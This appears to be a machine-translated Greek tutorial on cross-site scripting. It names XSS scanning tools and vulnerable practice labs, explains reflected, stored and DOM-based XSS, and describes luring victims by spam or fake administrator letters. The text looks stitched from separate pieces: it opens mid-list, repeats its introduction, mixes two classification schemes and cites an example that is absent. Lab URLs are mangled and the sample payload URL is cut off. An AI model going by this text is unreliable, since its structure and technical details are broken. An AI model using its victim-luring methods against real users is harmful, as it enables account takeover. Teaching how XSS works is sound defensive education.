- Το XSSer δεν είναι μόνο ένας ισχυρός σαρωτής που μπορεί να χρησιμοποιήσει διαφορετικές μεθόδους έγχυσης και παράκαμψης του φιλτραρίσματος, αλλά είναι επίσης ένα αυτοματοποιημένο εργαλείο για την εύρεση ιστότοπων ευάλωτων στο XSS (από dorks). Για ιστότοπους με ευπάθειες που εντοπίζονται, είναι σε θέση να εισάγει ωφέλιμο φορτίο για μια πραγματική επίθεση.
- Το XssPy είναι επίσης ένα αρκετά ανεξάρτητο εργαλείο που μπορεί να βρει όλες τις σελίδες ενός ιστότοπου (συμπεριλαμβανομένων εκείνων σε υποτομείς) και να ελέγχει όλα τα στοιχεία εισαγωγής σε αυτές τις σελίδες.
- BruteXSS - ένα θετικό χαρακτηριστικό αυτού του εργαλείου είναι η πλήρης εξάλειψη των ψευδών θετικών.
Ευάλωτες εφαρμογές Ιστού για XSS Testing
Τα περισσότερα από τα σύνολα ευάλωτων εφαρμογών ιστού (εκτός από ορισμένες πολύ εξειδικευμένες) περιλαμβάνουν ιστότοπους που είναι ευάλωτοι στο XSS. Η καλύτερη επιλογή είναι να τα χρησιμοποιήσετε στο αυτόνομο μαθησιακό περιβάλλον Dojo, το οποίο έχει συλλέξει πολλές εφαρμογές για δοκιμές. Για παράδειγμα, οι δεξιότητές σας στον εντοπισμό και τη λειτουργία του XSS μπορούν να εκπαιδευτούν σε:
Damn Vulnerable Web App (DVWA):
- http: // localhost / dvwa / ευπάθειες / xss_r / (πτητικό XSS)
- http: // localhost / dvwa / Θέματα ευπάθειας / xss_s / (αποθηκευμένο XSS)
Mutillidae / NOWASP (πολλές πολύ διαφορετικές παραλλαγές XSS)
- http: // localhost / mutillidae /
Το Cross Site Scripting (XSS για συντομία) είναι μια ευρεία ευπάθεια που επηρεάζει πολλές εφαρμογές ιστού. Επιτρέπει σε έναν εισβολέα να εισάγει κακόβουλο κώδικα σε έναν ιστότοπο με τέτοιο τρόπο ώστε το πρόγραμμα περιήγησης του χρήστη που επισκέπτεται τον ιστότοπο να εκτελέσει τον κώδικα.
Συνήθως, η εκμετάλλευση μιας τέτοιας ευπάθειας απαιτεί κάποια αλληλεπίδραση με τον χρήστη: είτε παρασύρεται σε έναν μολυσμένο ιστότοπο χρησιμοποιώντας κοινωνική μηχανική, είτε απλά περιμένουν να επισκεφτεί τον ίδιο τον ιστότοπο. Επομένως, οι προγραμματιστές συχνά δεν λαμβάνουν σοβαρά υπόψη τις ευπάθειες XSS.
Εάν όμως δεν αντιμετωπιστούν, ενδέχεται να αποτελέσουν σοβαρή απειλή για την ασφάλεια.
Ας φανταστούμε ότι είμαστε στον πίνακα διαχείρισης του WordPress, προσθέτοντας νέο περιεχόμενο. Εάν χρησιμοποιήσουμε ένα πρόσθετο ευάλωτο στο XSS για αυτό, μπορεί να αναγκάσει το πρόγραμμα περιήγησης να δημιουργήσει έναν νέο διαχειριστή, να τροποποιήσει το περιεχόμενο και να εκτελέσει άλλες κακόβουλες ενέργειες. Το σενάριο μεταξύ ιστότοπων δίνει σε έναν εισβολέα σχεδόν πλήρη έλεγχο του πιο σημαντικού λογισμικού αυτές τις μέρες - του προγράμματος περιήγησης.
XSS: Ένα ευάλωτο στην ένεση
Οποιοσδήποτε ιστότοπος ή εφαρμογή έχει πολλά σημεία εισόδου - πεδία φόρμας έως το ίδιο το URL. Το απλούστερο παράδειγμα εισαγωγής δεδομένων είναι όταν εισάγουμε ένα όνομα χρήστη και έναν κωδικό πρόσβασης σε μια φόρμα:
Το όνομά μας θα αποθηκευτεί στη βάση δεδομένων του ιστότοπου για μελλοντικές αλληλεπιδράσεις με εμάς. Σίγουρα, όταν συνδεθήκατε σε οποιονδήποτε ιστότοπο, είδατε έναν προσωπικό χαιρετισμό με το στυλ "Καλώς ήλθατε, Ilya."
Για αυτόν τον σκοπό αποθηκεύονται τα ονόματα χρηστών στη βάση δεδομένων.
Η ένεση είναι μια διαδικασία όταν, αντί για όνομα ή κωδικό πρόσβασης, εισάγεται μια ειδική ακολουθία χαρακτήρων, αναγκάζοντας τον διακομιστή ή το πρόγραμμα περιήγησης να αντιδράσει με έναν συγκεκριμένο τρόπο που χρειάζεται ο εισβολέας.
Το σενάριο μεταξύ ιστότοπων αναφέρεται σε ένεση που εισάγει κώδικα που θα εκτελεί ενέργειες στο πρόγραμμα περιήγησης για λογαριασμό ενός ιστότοπου. Αυτό μπορεί να συμβεί τόσο με την ειδοποίηση του χρήστη όσο και στο παρασκήνιο, χωρίς να το γνωρίζει.
Παραδοσιακές επιθέσεις XSS:
Αντανακλάται (αδρανές).
Μια αντανακλαστική επίθεση XSS ενεργοποιείται όταν ένας χρήστης κάνει κλικ σε έναν ειδικά προετοιμασμένο σύνδεσμο.
Αυτές οι ευπάθειες εμφανίζονται όταν τα δεδομένα που παρέχονται από έναν πελάτη ιστού, συνήθως σε παραμέτρους αιτήματος HTTP ή σε μορφή HTML, εκτελούνται απευθείας από σενάρια διακομιστή για να αναλύσουν και να εμφανίσουν μια σελίδα αποτελεσμάτων για αυτόν τον πελάτη, χωρίς κατάλληλη επεξεργασία.
Αποθηκευμένο (επίμονο).
Το αποθηκευμένο XSS είναι δυνατό όταν ένας εισβολέας είναι σε θέση να εισάγει κακόβουλο κώδικα στο διακομιστή που εκτελείται στο πρόγραμμα περιήγησης κάθε φορά που έχει πρόσβαση στην αρχική σελίδα. Ένα κλασικό παράδειγμα αυτής της ευπάθειας είναι τα φόρουμ που επιτρέπουν σχόλια HTML.
Ευπάθειες που προκαλούνται από κώδικα πελάτη (JavaScript, Visual Basic, Flash κ.λπ.):
Επίσης γνωστά ως μοντέλα DOM:
Αντανακλάται (αδρανές).
Το ίδιο με την περίπτωση του διακομιστή, μόνο σε αυτήν την περίπτωση η επίθεση είναι δυνατή λόγω του γεγονότος ότι ο κώδικας επεξεργάζεται από το πρόγραμμα περιήγησης.
Αποθηκευμένο (επίμονο).
Παρόμοιο με το αποθηκευμένο XSS από την πλευρά του διακομιστή, μόνο σε αυτήν την περίπτωση το κακόβουλο στοιχείο αποθηκεύεται στην πλευρά του πελάτη χρησιμοποιώντας χώρο αποθήκευσης του προγράμματος περιήγησης.
Παραδείγματα ευπάθειας XSS.
Είναι ενδιαφέρον, στις περισσότερες περιπτώσεις όπου περιγράφεται αυτή η ευπάθεια, μας φοβίζουν με τον ακόλουθο κώδικα:
Http://www.site.com/page.php?var\u003d
Υπάρχουν δύο τύποι ευπάθειας XSS - παθητική και ενεργή.
Ενεργή ευπάθεια πιο επικίνδυνο, καθώς ο εισβολέας δεν χρειάζεται να δελεάσει το θύμα χρησιμοποιώντας έναν ειδικό σύνδεσμο, πρέπει απλώς να εισάγει τον κωδικό στη βάση δεδομένων ή σε κάποιο αρχείο στον διακομιστή. Έτσι, όλοι οι επισκέπτες του ιστότοπου γίνονται αυτόματα θύματα. Μπορεί να ενσωματωθεί, για παράδειγμα, χρησιμοποιώντας SQL Injection. Επομένως, δεν πρέπει να εμπιστεύεστε τα δεδομένα που είναι αποθηκευμένα στη βάση δεδομένων, ακόμη και αν υποβλήθηκαν σε επεξεργασία κατά την εισαγωγή.
Παράδειγμα παθητική ευπάθεια μπορείτε να βρείτε στην αρχή του άρθρου. Απαιτείται ήδη κοινωνική μηχανική εδώ, για παράδειγμα, ένα σημαντικό γράμμα από τη διαχείριση του ιστότοπου με αίτημα για έλεγχο των ρυθμίσεων του λογαριασμού σας μετά την επαναφορά από ένα αντίγραφο ασφαλείας. Συνεπώς, πρέπει να γνωρίζετε τη διεύθυνση του θύματος ή απλώς να κανονίσετε μια αλληλογραφία μέσω spam ή να δημοσιεύσετε σε κάποιο φόρουμ, ακόμη και όχι το γεγονός ότι τα θύματα θα είναι αφελείς και κάντε κλικ στον σύνδεσμό σας.
Επιπλέον, και οι δύο παράμετροι POST και GET μπορεί να υπόκεινται σε παθητική ευπάθεια. Με τις παραμέτρους POST, φυσικά, πρέπει να ακολουθήσετε κόλπα. Για παράδειγμα, ανακατεύθυνση από τον ιστότοπο του εισβολέα.